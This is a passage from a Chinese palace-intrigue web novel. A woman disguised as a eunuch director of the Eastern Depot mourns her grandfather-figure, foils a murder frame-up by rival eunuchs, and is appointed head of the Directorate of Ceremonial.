离开了勤政殿后,白惜时没有立即出宫,而是又去了一趟掌印张茂林处。近来听闻他又有旧疾复发的现象,白惜时很是担心,也将孟姑姑做的一些老人家的护膝保暖之物亲自给他送过去。 待到再次出宫的时候,千闵已经将单凭的信报打探了过来,原来那单平寒门出生,靠的是自己的老丈人提携才一步步走到如今的位置。因而他在家中十分惧内,也一直未敢纳妾,并常常以此在外标榜自己立身之正。 但近日,他与一从家乡投奔而来的女子走得非常近,起先只是帮扶接济,后来便联系越来越密切,甚至在外头租了间房子供这女子居住,俨然偷偷摸摸当外室养了起来。 今日他那夫人和岳丈不知从何处知晓了此事,此刻正将那女子捉了过来,闹得家中鸡犬不宁。 白惜时听完,嗤笑一声,“道貌岸然。” 继而走出几步,她又留了个心眼,回头嘱咐千闵道,“再去查一查,单平的夫人是从何处得知此事由来。” 第40章 第40章 掌印张茂林又病了,且这次病的很严重,白惜时得知之后第一时间赶往宫中,一连几日都没有回府,留在张茂林处侍疾。 待掌印病情稍缓,白惜时才出了一趟宫,去见一个人——滕烈。 之所以会选择在这个时间节点见他,概因那日白惜时让千闵打探的单平之事,查出来的结果是,单平的夫人竟是辗转从一个小太监口中得知夫君养了外室之事。 小太监?白惜时直觉有些不同寻常。 而这个小太监也不一般,曾于御马监任职,是王焕全的手下,自王焕全倒台后在宫中日子过得比较辛苦,而一个小太监,又是如何得知宫外之事,还能将此事传出去? 眼下张茂林一病,司礼监暂由梁年代管,二人争端其实已经到了白热化的程度,在这个重要的时间档口,任何一件小事都有可能改变事态走向和结局。 白惜时不得不防。 因而在约定的茶楼见到滕烈之后,白惜时挥退下属,开门见山,“此次相邀,我是想请指挥使帮我盯住一个人。” “盯人?”滕烈端坐案几对面,给白惜时推过去一盏茶,“厂督为何不自己出手?” 白惜时:“可能是我多疑多思,怀疑有人想给咱家设套,若真是如此,自然不能拂了对方好意,打草惊蛇。所以这件事上,东厂不好出手。” “既然东厂不好出手,咱家便第一时间想到了指挥使,不知道指挥使可愿帮咱家这个忙?” 在听到“第一时间”这四个字时,搁于桌面上的手指莫名蜷了一下,滕烈改握住杯盏。 “此人是谁?” “都察院佥都御史,单平。” 滕烈:“好。” 料想到滕烈会答应,但没想到会答应的如此干脆爽快,白惜时意外之余,还是有些触动的,这就代表在这场掌印之争中,滕烈已经代表锦衣卫选择了提前站队。 既然对方给出了这么大的诚意,此刻,一直埋藏在心中的那点愧疚便也被激发出来,刚好四下无人,白惜时筹措了一下语言。 “说起来,冀中平匪之事,一直还未来得及与指挥使道歉,我当时也是权宜之计,身体条件所限,容易暴露身份,因而当时实在是没办法与你一同去那二当家的院子。” 听他乍然提起这事,滕烈默了一默,“……无事。” 白惜时:“指挥使没吃什么亏吧?” “没有!” “没有就好。” 白惜时喝了一口茶,抬眼间,却发现滕烈耳根隐隐有些泛红,顿时心念一转,脱口而出,“是没吃亏,还是你觉得那其实不算吃亏?” 握着茶盏的手指骤然攥紧,在听见白惜时有此一问之时,男子声线都陡然提高了两分,“我进去就将她打晕了,我没吃亏!!!” 哦,没吃亏就没吃亏呗,这么激动。 性子还挺烈的,怪不得叫滕烈。 — 近来千闵与元盛都发现,厂督与解衍之间似乎出了些状况,原来默契非常,算得上形影不离的两个人,眼下倒是各忙各的,见了面也客套生疏。 眼见厂督上了马车,原来必定会跟上去的解衍这次改为骑马,千闵实在好奇的厉害,驱马并了过去,“探花郎,你怎么惹着厂督了?” 解衍闻言,侧眸看了眼正在行进的马车,没有说话。 元盛这个时候也跟了过来,“你说一说,咱们现下也算是兄弟,给提个醒,以后碰到同样的事也好规避规避。” 没想到话音刚落,马车里头就传来白惜时清嗓子的声音,千闵、元盛对视一眼,很是有眼力见的又重新骑回到了队伍的最前头。 白惜时在车里将这几人的话听得一清二楚,借着被风吹起的车帘,瞧了外头的人一眼,继而收回视线,继续去看面前搁着的那本政义通略。 哪有那么多同样的事要规避! 魏廷川的订亲的日子将到,白惜时近来虽事务繁忙,还是抽空,独自去了趟魏廷川新置办的府邸。 定亲之日人可以不到,但礼还是要提前送到的。 魏廷川得知白惜时来了,兴高采烈从府宅内迎了出来,不想对方将礼送上,便直言要走。 “东厂还有许多事等着要办,掌印也需我回去照看,就不进去了叨扰了,在这里提前恭贺世子大喜。” 魏廷川本想挽留,发现白惜时眼下那两片青色,话锋一转,便又改了口,“就算照顾人你也要注意休息,掌印的身体重要,你也别将自己的身体弄垮了。” 白惜时笑了笑,“我知道。” “需要帮忙的时候一定与我说,不要一个人撑着。” “好。” 眼见白惜时将贺礼搁在自己的手中便要离开,魏廷川:“那等你忙完了这段,我再去看你?” “好。” 在转身前,知道这回是真正要与过去的十几年道别了,白惜时抬起头,有些郑重地看向面前的男子,“那我走了。世子,再见。” 不知道为什么,白惜时一句“再见”叫魏廷川的心中陡然一沉,像是预料到什么,他突然向前几步,叫住了此刻已经走出一段距离之人。 “惜时!”男子的声音有些急迫。 白惜时应声,回头。 似乎有千言万语堵在喉咙之处,魏廷川就这么望着这个陪着自己走过最痛苦最难捱的那段时光的人,心中突然生出一种不好的感知,一种白惜时若是今日从这里离开,就真的不会再回来了的感知。 回京后的一幕幕在眼前飞速掠过,白惜时的突然忙碌,突然疏远…… 有什么一直被忽视的答案似乎正在破土而出,魏廷川寻着本能,大步走了过来,停在白惜时面前,声音有些不确定,又有些发颤地问道:“惜时……我是不是,不该定亲?” 白惜时的眼中闪过一丝诧异,但很快,却又笑了起来,“世子在说什么?我怎么没听懂?” 笑得仿佛魏廷川说了什么傻乎乎的笑话。 整个人犹如被人浇了盆冷水,骤然清醒,男子缓缓呼出口气,继而像是什么都没发生过,摇了摇头,“没什么……回去路上当心。” “好。” 再次回过头去,一步一步离开魏府,直到确定世子再看不见她面上的表情,白惜时才缓缓,闭上双目。 心中仍控制不住因他一句话而再起波澜,但事已至此,再说什么都是迟了。 刘府已广发贺帖,刘二小姐也已经在欢欢喜喜准备定亲宴,而她的父亲是兵部尚书,能够影响到魏廷川的仕途升迁。 再说,就算是不定亲又能怎样呢? 白惜时是个太监,能给魏廷川什么? 掌印张茂林病重,秉笔梁年、西厂袁庆均虎视眈眈,恨不得揪出自己的一丁点儿错处,以置自己于死地。有些局,一旦进入,不是你想退出就能退出的。 女儿身若是被揭穿,命能不能保住尚且另说,何故还要再拖累魏廷川? 世子合该有大好前景,广阔天地。 而白惜时也很清楚,经过这么多年宦海浮沉,她亦不再是一个愿意被困于一宅之内的女子了。 大家,都各有各的前程。 …… 挥手叫了马车先行回府,但在这样的时刻,白惜时还是想要一个人走一走,兀自平复下那算不得平静的情绪。 然而天公不作美,走了没有一段路,原先还晴好的天气突然被云朵遮挡,紧接着,竟下起了雨来。 起先还好,濛濛细雨,白惜时亦感受着这春雨的飘飘洒洒……但时间一长,雨越下越大,她便有些后悔先前叫马车离开的决定。 只不过没后悔多久,这时候一个卖货郎从她身边经过,见她淋着雨,便热情向她递来了一把伞,“公子,我这里正好多了一把,送与你用吧。” 说罢,不待白惜时回答,那人便将雨伞往她手中一塞,急急忙忙地离去了。 像是生怕她将这把雨伞再还给他一般。 略为不解间,兀自将伞柄撑开,白惜时抬头,瞧着这样明显算得上做工精良的一把油纸伞,脚步顿了顿,继而掉头,改为往卖货郎来时的路行去。 一个卖货郎,不会有这样精致的一把雨伞。即便有,也舍不得这般随意送人。 那会是谁? 果然,在转了个弯后没过多久,前方一片青瓦的屋檐下,一袭熟悉的松绿色身影正立于檐下,此时抬着头,有些出神地望着这阴沉沉的天。 见状轻叹口气,白惜时亦分辨不出当下是作何感想,只一步一步,于男子的面前停下。 “如果我不过来,你打算在这里等到什么时候?一直等到雨停再走?” “厂督。”解衍朝她望了过来,似是没想到她会出现在自己面前。 “走吗?”忽略他眼中一闪而过的亮光,白惜时面上没有显露什么情绪,冲男子示意了眼手中的伞。 “走。”解衍没有犹豫。 于是,白惜时将那伞举过男子的头顶,计划两个人凑合一下,先行回府再说。 但很快,男子便伸过手来,接住了那支细细的伞柄,“厂督,我来吧。” 白惜时自然没有什么异议。 只不过走着走着,她发现这柄伞几乎全都倾向了自己,而解衍整个人,仍然在雨中。 两个人,保持着一道不近不远的距离。 白惜时停下脚步,看着他,没奈何,一把又将伞柄抢了回来。 继而,重新撑在二人的头顶。 然后,她就发现男子突然笑了,低下头,想忍却没忍住的那种笑。 白惜时蹙起眉,“你笑什么?” “没什么。”解衍闻言,重新抬起头,一双亮亮的眼睛看向她。 “我撑伞很好笑吗?” “不好笑。” “那你笑什么?” “……不笑了。” 解衍改口态度又快又端正,以至于白惜时一时也揪不出他其他的什么错处,但不得不承认,解衍刚才的笑,其实,也冲刷下了她心中的部分阴霾。 唉,白惜时突然有些破罐破摔的想,先一起这样走下去吧,以后的事,以后再说。 40-50 第41章 第41章 解衍回府的时候,告诉了白惜时一件事。 他也正因此事来寻白惜时,不想却在半路上遇见独自淋雨的厂督。 近日有宫中之人辗转找到解衍,告知白惜时对他不过是利用,霸占他的文章据为己有,向皇帝呈上了许多治世经略方面的奏折,均直言为自己所作,绝口不提解衍的名字。 那人说完,对解衍的遭遇表示了惋惜和痛心,临走时送给了解衍几句话。 “白惜时此人阴险狡诈,伪善多疑,看似对你施恩,不过是想借用你的妹妹捆绑住你,让你一直为他卖命,踩着本该属于你的功绩向上爬。” “可到头来,解公子,你又得到了什么?你有大才,甘心就这样隐姓埋名,被人利用至此吗?” 白惜时听解衍说完,兀自琢磨了一会,随即点了点头,觉得这人蛊惑人心的功力还真是炉火纯青,连她听了都觉得有写像那么回事。 而更令她意外的是,她与解衍的疏远其实也就才几日,这人早不来晚不来,偏偏就在二人疑似产生龃龉的这个空档来了,可见对自己的动态之关注。 白惜时坐于书桌之前,直直看向男子,“既然他都将我所做之事告知于你了,那你为何还要来找我?” 举荐文章这种事,白惜时平时就是让解衍多写写,然后她挑了几份誊抄呈了上去,不过这事她确实没有和解衍多提,一来她觉得解衍聪明应该能猜得到,二来总提也觉得没必要。 但没想到,倒是可以被人曲解成霸占功劳,极尽利用,而且听起来也很合理,符合她在外头不是什么好人的名声。 解衍目光清明,“我来,自是想提醒厂督留心此人。” 白惜时:“此人是谁?” “自言是御前伺候的一名桂公公,嘱咐我若是想通了,三日后可再去此次相邀的茶楼。” 白惜时很清楚,御前并没有一位姓桂的公公,此人当用的是化名,此举,也不过是为了挑拨离间,策反解衍。 一边思索一边用手指轻叩着桌面,白惜时问男子,“你不觉得咱家是在利用你?” “不是。” 解衍回答的很果断,继而眸中带了星星点点的笑意,“厂督此举,是关心。” 他知道白惜时的用意,以这种方式将自己的文章呈至皇帝面前,相较直接举荐,虽然来的要慢,但更稳妥,也更易让皇帝接受。 天子享受主宰之权,刻意举荐往往怀疑另有所图,反而隐晦让他察觉不对,对方才更有兴趣探究。 白惜时对皇帝,对人性,都很了解。 不过解衍用词也很微妙,用的不是“提携”,不是“帮助”,而是“关心”。 “关心”这个词,听在白惜时耳朵里多少有些别扭,就好像……两个人很亲密一般。 听到这也不用手指叩桌面了,白惜时觑了解衍一眼,“行了,别往自己脸上贴金。” 他哪只眼睛看见她关心他了? 白惜时:“没其他事便回去吧,身上淋湿滴的我书房一摊水,赶紧回去换身衣服喝碗姜汤。” “是。” 解衍这回没有再逗留,顶着一身湿衣湿发回了房,待沐浴完毕换好一身干燥的新衣后,便听见屋外的叩门之声。 清隽的男子推开房门,发丝因尚未来得及擦干还隐约透着水汽,送东西的小丫鬟只看了一眼,便红着脸低下头来。 不是面对白惜时,解衍又恢复了一贯的矜冷寡言,“何事?” 小丫鬟将托盘往前一送,“公子,这是后厨做的姜汤,吩咐给您这里也送来一碗。” 姜汤? 记起白惜时方才说过的话,盯着那碗冒着热气的汤水,在雾气氤氲中,仿佛也渐渐柔和了男子的眉眼。 谢过小丫鬟,解衍没让人进门,直接将托盘接了过去,继而坐在桌边,男子将汤碗托在手中转了一转,待欣赏够了,才送至唇边,仰头一口饮尽。 姜汤,是个好东西。 他往自己脸上贴金了吗? 男子扬起唇角,说来,也未必吧。 — 三日后,如约赶往之前相见的茶楼,名叫桂公公的太监果然再次出现,解衍按照与白惜时商议好的说辞,向桂公公试探诚意。 这一次,那位公公提的要求很简单,请解衍关注白惜时,将她的近况反馈给自己。 明显,对解衍也并不是完全信任。 而在远处盯梢的千闵也很快查明,那位所谓的桂公公,同样为御马监之人,看来,应该是有人收买下了王焕全的旧部。 他们要做什么,又想要达到什么样的目的? 白惜时拭目以待。 单平似乎最终还是认定白惜时故意整治他,因而为出这口气,近来倒是指使下头的御史上了封弹劾白惜时立身不端的折子,与朝臣们一同上朝时,也时常在背后痛骂白惜时。 白惜时无暇顾及这些小动作,只因掌印张茂林的身子在好转了几日后,突然开始急转直下,这一次,连太医都束手无策,只能冲着白惜时无奈摇头。 白惜时自此之后,没再回过府中,每日东厂的事务处理结束,便会返回宫中,陪伴照顾张茂林。 看着老人一天天瘦弱下去,最后,连吃一口稀饭吃起来都那么费劲,白惜时知道,有些事,即便是再不愿意面对,再难以接受,似乎也终究是要来了。 如果说在这皇宫之中与她最亲近的人,给了她亲情和照拂,教导她规矩礼仪、处事为人,那便是这位爷爷,两个人相依为命,一起走到了今日。 落魄的时候一起落魄,风光的时候一起风光,可是现在这个人,可能要永远的离她而去了。 想到这里,白惜时每每夜不能寐,静静地坐在床边,一遍一遍去看时常陷入昏迷的老人。 有张茂林在,她是有恃无恐、飞扬跋扈的东厂厂督,即便做错事闯了祸也不会害怕恐惧,因为她知道有人在后头给她撑腰,会不遗余力为她周旋想对策。 不是爷孙胜似爷孙,两个孤独的人,互相关怀取暖。 而这种深宫之中如履薄冰的相伴,好像,也终究是要走到了尽头。 白惜时在第二日出门前,张茂林突然似是有感应的醒了过来,他睁着那双浑浊的眼,又望了外头的天,对白惜时说了生前最后两句话之一。 那句话是——“小石头,外头好像起风了,记得添衣。” 立于床前,白惜时咽下喉头那阵持续不断的哽咽,点了点头,控制住发红的眼眶不要落泪。 继而再一次见张茂林,便是宫中之人急急赶往东厂,告诉她掌印快要不行了。 丢下正在审问的犯人,白惜时头脑一片空白,飞一般冲回宫中。 最后一刻,张茂林无力地握住白惜时的手,这一刻,他不再是威势赫赫的司礼监掌印,而是一个已经行将就木的老者,他颤动的目光没有焦点,继而,转过头来,虚弱的对着白惜时道:“……小石头,爷爷有点害怕。” 在白惜时紧紧握住他的手,一遍一遍告诉他安抚他“不要害怕,不要害怕”之后,老人终是,缓缓闭上了双目。 在张茂林松手的那一刻,锥心刺骨的钝痛向白惜时袭来,她一个人呆呆地跪在床前,脑子里不断翻涌的只有那么颠来倒去的几句话: 爷爷不在了,张茂林不在了……爷爷不在了,张茂林不在了…… 如果可以选择,她希望张茂林永远是那个极其护短的司礼监掌印,而她,则是那个始终愿意低下头,听从他谆谆教诲的小石头。 可是,爷爷已经离开了啊,比魏廷川当年的发配充军还要叫人疼痛百倍。 不过与当年不同的是,白惜时亦知道她不得不尽快振作起来,因为后面等着他的,不再是那个荒弃但平和的废院,里头有她的爷爷在等着她回家……而是,纷至沓来的权势纷争。 挥退身边所有侍候之人,白惜时独自对着张茂林痛哭了一场。之后,她起身,擦干眼泪,开始着手准备爷爷的后事。 只不过尚未张罗未有多久,就等来了一位不速之客。 比她预料的,来的还要更早一些。 这么的迫不及待。 西厂袁庆带着一队人马,气势汹汹堵住扶棺出宫的白惜时,宫中有宫中的忌讳,即便爷爷生前是司礼监掌印,去世之后也当立刻抬出宫中。 袁庆瞧见那棺木,狞笑一声,踱步上前:“白惜时,都察院佥都御史单平今日上午于回府的马车内暴毙,经仵作查验,疑似中毒而身亡。而他生前,与你龃龉不断,亦有证人证明你二人曾在宫内发生口角,今晨早朝后亦有碰面。” 说着趾高气昂掏出一枚玉佩,袁庆似笑非笑,“于他的马车内,我们搜到了这个物件,白惜时,你可还觉得眼熟?” 那是她先前意外丢失的一枚玉佩。 现在看来,恐怕并不是意外。 白惜时一言不发,手扶棺木,无声地望着袁庆。 袁庆见状更加得意,“眼下,圣上已得知此事,下旨东厂厂督白惜时不得出宫。所以啊,白公公,你可别怪我不近人情,咱家也是奉旨行事。” “要我说,还是太年轻气盛,得罪你的人你便要痛下杀手?” 说到这摇了摇头,袁庆有些惋惜地望着白惜时,“太嚣张了!你一直都太嚣张了!如今没有掌印为你保驾护航,我倒要看看,你还算是个什么东西?!” 是非黑白,在袁庆口中,仿佛可以随意颠倒捏造。 很显然,他已经提前投诚,站在了梁年一方,并且愿为他做马前卒,陷害污蔑自己。 白惜时一句一句听完袁庆所说,继续停留在原地,就这么一瞬不瞬地看着对面之人,不愤怒,不惊惧,亦不惶恐,只这样平静地看着他,垂目而视,宛如此人不过是脚下泥。 袁庆在如此的对峙之中,面上闪过一丝惊措,继而,又瞧见那象征着最为尊贵的明黄仪仗从甬道中拐出,才复又恢复镇静。 梁年竟将圣上也请了过来? 他不怕他触景生情,饶过白惜时吗? 而梁年的内心,此刻亦惊疑不定。他没有劝说皇帝亲临,是他听闻之后,自行宣旨前往。 皇帝驾临,众人行礼跪拜,身着龙袍之人一一扫过每张面孔,最后,目光停留在了那副棺椁之上。 良久,都没有动。 最后,只听他沉缓地叹息一声,继而开口,“单平遇害之事,朕已知晓。” 男子大手一挥,“拿下吧。” 随着皇帝话音落地,锦衣卫、禁军分别从后方两侧绕了出来,威严肃容,不容置疑,就这么强硬又迅速的,分别将梁年、袁庆按倒在地。 看也没有再看那两个惊惧交加之人,皇帝眸中闪过一丝哀痛,继而转眼,望向此刻已经起身的白惜时,“好好护送朕的大伴,出宫去吧。” 第42章 第42章 单平是梁年与袁庆联手起来给白惜时下的套。 因那日背瞒家人擅养外室之事被白惜时撞见,单平一直害怕白惜时会将此事宣扬出去,甚至因此要挟自己,情急之下,他向自己的一位好友求助,询问解决之道。 而那好友正是梁年的人,与单平相交也并不真心,得知此事后将单平之事悉数告知秉笔梁年,梁年亦计划借机挑起白惜时与单平之间的矛盾,然后在关键的时刻,给白惜时重要一击。 西厂袁庆已向梁年投诚,而袁庆因原先与御马监王焕全交好,袁庆为不让西厂引起白惜时的注意,便找来王焕全那些落难的下属,许以好处,让他们将单平养外室之事,辗转透露给了他的夫人。 单家得知后,顿时乱成一锅粥,而单平第一个怀疑的便是白惜时。 虽白惜时后来在宫中相遇,否定了向外宣扬之事,单平当下也确实起了疑心,但在梁年与袁庆的刻意引导下,最后,单平还是认为此事为白惜时所为。 他以为白惜时想拿他在朝臣中立威,也叫自己身败名裂,因而之后单平便处处针对白惜时,弹劾诋毁不断。 梁年与袁庆期望看到的,也正是这样的结果。 只因如此的话,单平若是暴毙,所有人都会第一时间怀疑向来行事嚣张的白惜时。 他们并不指望单平之事能置白惜时于死地,也做好了皇帝念旧情,最后会赦免白惜时的打算,但只要拖住这关键的几天,让单平暴毙的时间刚刚好,死在掌印之位交替之间,让白惜时无缘掌印,目的便达到了。 皇帝,顾及名声,不会让一位有罪的内宦接任掌印。 而只要梁年继任掌印,之后,他们有的是办法整治白惜时。 梁年与袁庆已经未雨绸缪,指使小太监挑唆白惜时与解衍之间的关系,试图在白惜时因单平之事落难后,再由解衍反咬,给他安上一连串的罪名,打的他措手不及。 本来计划天衣无缝,但这一切的前提是,白惜时对此并无察觉。 可白惜时偏偏就是从单平的言行中察觉出了不对,解衍亦如实将小太监挑唆之事相告,白惜时猜到会遭设计陷害,索性假装不知,将计就计,着手防备。 玉佩莫名丢失的那一日,白惜时多了个心眼,在进宫禀报的时候,有意无意向皇帝提及了此事。 所以在皇帝的认知里,白惜时丢失玉佩早于单平之死很多日。 事发之后,当看到那枚玉佩作为证物供被呈了上来,皇帝便起了疑心。 而当单平身亡的第一时间,滕烈便已经派人给白惜时传来了消息。谋害疑证,滕烈均转交给东厂。 在白惜时吩咐心腹小太监向皇帝禀报张茂林身故之时,相关谋害佐证便也一并呈了过去。 所以,皇帝留下白惜时不许他出宫,并不是治他的罪,而是,也想要最后送一程他的大伴张茂林。 他更反感至极,反感这些张茂林一死,便为了权势争斗动作不断之人。 因而最终的结果是,梁年、袁庆被拿下,白惜时获准扶灵出宫。 这一场纷争眼下看来,应该是白惜时赢了,亲眼目睹了这一场变故的宫人,在皇帝离开后,于白惜时经过之刻无不纷纷低下头颅。 白惜时此刻脑袋仍旧发木发麻,没有什么占了上峰的喜悦,她回头,遥望这巍峨高耸的宫殿,又看了一眼近旁那口黑漆漆的棺木,伸出手,轻轻地摩挲。 爷爷,你说过,权势之争永无止尽,走了一个梁年与袁庆,那么下一个等着孙女的,又会是谁呢? — 张茂林当年是家乡闹饥荒,他一个人活不下去才被迫进的宫,等到权势已盛,想要寻根,家乡的人已经死的死散的散,寻不着了。 无家可归,白惜时将掌印张茂林的灵柩停在了白府,披麻戴孝,作为“孙子”,替他守灵送行最后一程。 得知消息以后,很多人都闻讯赶来治丧吊唁,其中有张茂林生前的朋友,当然,也不乏眼看白惜时有可能更进一步,借此机会投机接近之人。 白惜时谢绝了大部分人的登门,只有爷爷的故交好友,她送上三炷香,请他们一起送张茂林一程。 魏廷川闻讯便飞奔而至,第一眼,便看见跪在火盆前一身白衣之人,白惜时瘦了许多,眼神也没有了往日的神采,零星的发丝垂落,是往日里都没有见过的神伤与落寞。 魏廷川莫名心中一痛,走过去,缓缓蹲下身来,停在了白惜时面前。 “节哀,惜时。”看着面前孤单零落的身影,魏廷川扶上他略显单薄的肩头,“我这几日不回去了,你一个人定然忙不过来,我就在这里陪你一起给掌印守夜。” 侧头看了一眼肩上的那只手,白惜时什么都没有说,起身之后,男子的手随着她的动作自然垂落,白惜时从解衍手中接过三炷香,递给了魏廷川。 魏廷川走至棺木前,恭恭敬敬鞠完躬将那香插入炉中,此时,白惜时的声音也已从后头传来。 “世子心意已到,便请回吧。” 魏廷川倏然回头,“惜时,你眼下正是需要帮忙的时候……” “请回吧。” 白惜时的声音不大,语气也称得上和缓,但眼中那份不容置疑,是魏廷川看到后,都无法再更改的地步。 有些东西,在不知不觉中早就已经变了。 眼前之人不再是受了委屈会跟他诉说,伤心难过也会撑着脑袋在他身旁发呆的小惜时了,他现在很坚强,至少在魏廷川的面前,她是坚强的。 魏廷川:“……那你多保重。” “好。” 解衍替白惜时送男子出府。跨过门坎之时,魏廷川脑海中挥之不去的仍是白惜时一个人跪坐在蒲团上,孤独萧索的身影。 “从未见过惜时今日这般模样。”男子在出门前,低低伤怀了一句。 没有见过吗? 解衍听到这句,突然看向男子。 解衍想,魏廷川虽然没有见过,但他曾经是见到过的…… 虽然没有今日这般低迷消沉,但也足够令人吃惊,那是厂督在得知镇北将军相邀,兴高采烈穿了一身精致的新衣,回来之后的模样。 解衍不想再看到那样的神情,同样,也感同身受着厂督此刻“至亲”离开的孤独痛苦。 他们都是亲缘匮乏,暗夜之中踽踽独行之人…… 因为匮乏,所以才倍加珍惜,失去了,也痛彻心扉。 行走间,解衍不同寻常的视线魏廷川亦有所察觉,转过头来,男子道了一句,“解公子?” 蓦然回神,解衍一摇头,目视前方,看向门房已然牵过来的马匹骏马,“无事。” 继而长臂微抬,“魏将军,慢走。” 魏廷川会离开,但他,不会。 — 守灵一连要守七日,白日里府中之人已然忙碌非常,到了夜里,白惜时便将他们全部都赶了回去,自己一个人坐于灵堂之中,给张茂林守夜。 寂静的夜中,烛火明灭,白惜时却珍惜这份与爷爷的最后相伴时光。 只不过,长夜漫漫,偶尔她也会察觉门口那个不动声色的身影,出去说过几次,见他仍旧不改,便也没有再费精力去管。 爱在外头站着便站着吧。 最后一夜,黎明前,白惜时从跪坐中起身,突然觉得一阵目眩,应该是连日来没有好好休息吃饭,身体多少有些向她警示。 走出门去,外头还是黑蒙蒙寂静一片,只不过一个半倚在墙边的身影,见她走出,突然直起了身。 “有吃的吗?”白惜时问男子。 今日是爷爷下葬之日,清晨还有一段山路要走,她须得保持体力。 听她愿意吃东西,解衍很快点头,“有,你进去里头等。” 片刻之后,解衍端着一碗热腾腾的面条走了回来,上头还窝了一个金黄的鸡蛋,黎明尚未到来,后厨的人也都还睡着,这一碗,应该是他自己做的。 就是这样一碗再寻常不过的面条,偏偏极其凑巧的,又勾起白惜时那隐藏在记忆深处的伤怀。 那时候日子过得苦,没有条件吃得上鸡蛋,直到后来先帝病重,废院的日子好过了些,白惜时有一次发烧受了风寒,爷爷张茂林便给尚膳监求情卖好,才为她做了这样一碗窝了鸡蛋的面条。 端过来的时候,张茂林神情煞有介事,“小石头,你不知道,这鸡蛋可是个金贵东西,比那灵丹妙药还管用,吃了保准你就能好。” 白惜时当时看着张茂林一脸夸张的模样,头脑昏沉之余,只觉得自己好惨啊,穿越过来连吃个鸡蛋都成了奢侈,还要被爷爷吹嘘成这个样子。 可现如今,物是人非,同样一碗面条摆在面前,心中却是五味杂陈。 当着解衍的面,白惜时拿起筷子,挑起了两根送入口中,不知道为什么隐忍了这么多日的眼泪,在看见这一碗面条时,又不听使唤的落了下来。 不想解衍看出自己也有软弱的一面,白惜时寻着理由,“我不能吃辣,你这碗面条里放太多辣了。” 看了眼点缀般的几粒碎末,解衍没有拆穿,而是蹲下身,轻声认错道:“对不住。” “……太辣了。” 白惜时一边吃,一边控制不住落泪,最后就着拿住筷子的手,又抹了一把滑落至颊边的液体。 掏出一块干净的巾帕递了过去,男子探过头,就这么静静地注视着面前之人,“我的错,凑合吃一点,行吗?” 接过巾帕胡乱地擦干,白惜时端着碗,好半天没有再动作,待兀自平复了会情绪,才侧过头去,悄悄吐出口气。 待再回过头来之时,她已经恢复了往日的平静,“下次别再做成这样了。” 白惜时又欲盖弥彰般,补充了一句。 男子闻言,配合着点头,“好,下次再做,一定记住不会再给你放辣。” 即便他知道,之前的白惜时,无辣不欢。 — 张茂林的下葬仪式在辰时的最后一刻完成。白惜时回到府中,便见有小太监已然等在门外,一发现来人,小跑着赶了过来,恭恭敬敬说着皇帝宣厂督进宫。 宫殿连绵,廊檐入云,玉石台阶一路向上,一眼望不见尽头。 白惜时看着足下,不急不缓,就这么一步一步踏入巍峨的明堂之内。 上首之处的金漆雕龙宝座上,此刻正有一人,将尚未批完的奏章搁至一边,看着白惜时走近、行礼,继而挥了挥手,许他平身。 “小石头,大伴一走,如今,便只剩我们三个了。” 望着白惜时,良久之后,龙椅中的皇帝叹息般的感慨了一声。 白惜时闻言没有接话,而是抬眼朝上望了过去,等待着天子接下来的言语。 果然,片刻之后,在皇帝的示意下,一个捧着司礼监大印的太监走了出来,继而,郑重又小心地走至白惜时面前。 向前一躬身,他将那位象征着內宦最高权力和地位的玉印呈到了白惜时唾手可得的位置。 继而,天子的声音从上首传来,“白惜时,不要叫朕失望。” 第43章 第43章 大魏朝宣和九年,春末,内宦白惜时擢司礼监掌印,兼提督东厂。 自升任掌印以来,东厂实务大多交于元盛、千闵代管,而她则忙于熟悉朝中大小政务,每日内阁票拟后的奏章大部分送至司礼监批红,批红过后,白惜时一一过目,认可后盖上玉印。 偶尔觉得不妥或有异议,她会招来新上任的秉笔询问一二,经二人商讨,再重新定夺。 自梁年获罪入狱,新接任的秉笔名唤周子良,是往日司礼监的随堂太监,二人算是有些交情,相处起来亦还算融洽。 司礼监掌印素有与内阁首辅对柄机要的“内相”之称,自白惜时接任的旨意颁布之后,当她跨入司礼监的正门,里头大大小小的太监立即起身,下跪俯首,注目着她的黑色官靴一步一步越过众人,最后,走到最上首的位置。 待白惜时转身,站定,周子良带领一众内宦躬身跪拜,“我等日后,唯掌印马首是瞻。” “我等日后,唯掌印马首是瞻!!!”众人跟吟。 “错了。” 不急不缓于上首吐出两个字,白惜时垂目,望着匍匐的众人。 “这天下和宫中,主人都只有一个,乃为天子。大家都是为天家办事,咱家摆的清身份,各位,也不要弄错了各自的职责。” “都起来吧。” 说罢,白惜时长袖一抬,看着众人起身,继而,转身回到内堂之中。 不知是急着表忠心,还是给她来了一记捧杀,但白惜时明白,这话若是传入皇帝的耳朵里,他恐怕未必会高兴。 皇权至高无上,没有人愿意被超越觊觎。 人心难测,这司礼监中更是鱼龙混杂,布满各方势力的眼线,不过她并不心急,慢慢观察相处便是。 从东厂厂督到司礼监掌印,相当于由武转文,白惜时不得不承认,自己也适应了好些时日,皇帝处理军机要务,她亦需随堂听政,加之阅览文书奏章,几乎日日忙到半夜,更是没有时间出宫回府。 时值半夜,白惜时盖完最后一个红印,将奏章晾干,伸手将毛笔丢回笔洗之内,辅佐皇帝这事,比想象中的还要不好干啊! 若是想得清闲虽也可,那便是只管盖章不看内容,但时间一久,下面人难免糊弄,也容易职责懈怠。 正起身准备就寝间,小太监汤禄捧了一碟吃食,有些为难地走了进来,“掌印万安,这,这是怡嫔娘娘下头的宫女扶疏送过来的杏仁酥饼,在门口求了半天,托奴才给您送进来。” “奴才也实在不好拒绝,才接了过来,您看……” 扶疏,又是这个扶疏,一听起这个扶疏白惜时就有些头疼。 司礼监掌印大权在握,不仅朝臣对白惜时的态度有所转变,后宫之人亦想要结交攀附,而这其中,扶疏便是来势汹汹的一个。 扶疏的主子怡嫔娘娘在白惜时看来,是一个极其上进的主,人长得娇艳如花,父亲近来又在朝中得势,因而很是想要更进一步。 这个更进一步,便主要表现在她将全部心思投入在皇帝那儿,她的宫女,还要来逢迎讨好白惜时。 不过宫女扶疏,虽然名唤扶疏,但本人其实倒是没那么扶疏,圆圆肉肉的一个姑娘,看见白惜时,白嘟嘟的脸上就能印出两个大大的酒窝,跟见着亲人似的。 要说讨厌吧,其实也并不讨厌,但白惜时对结对食这种事实在是有力无心。 太监,虽少了个物件,总归还是个男子。她,若是答应了,多少属于欺骗感情。 遂看了两眼,白惜时没有去碰,嘱咐汤禄,“放那吧。” 其实白惜时执掌司礼监以来,陪天子处理政务居多,后宫,至今只去过两次。 一次是去贵妃那里,说来算是三人一起叙了叙旧,有皇帝在贵妃也不会提起俞昂,气氛算得上融洽。 还有一次,便是往怡嫔的去处。 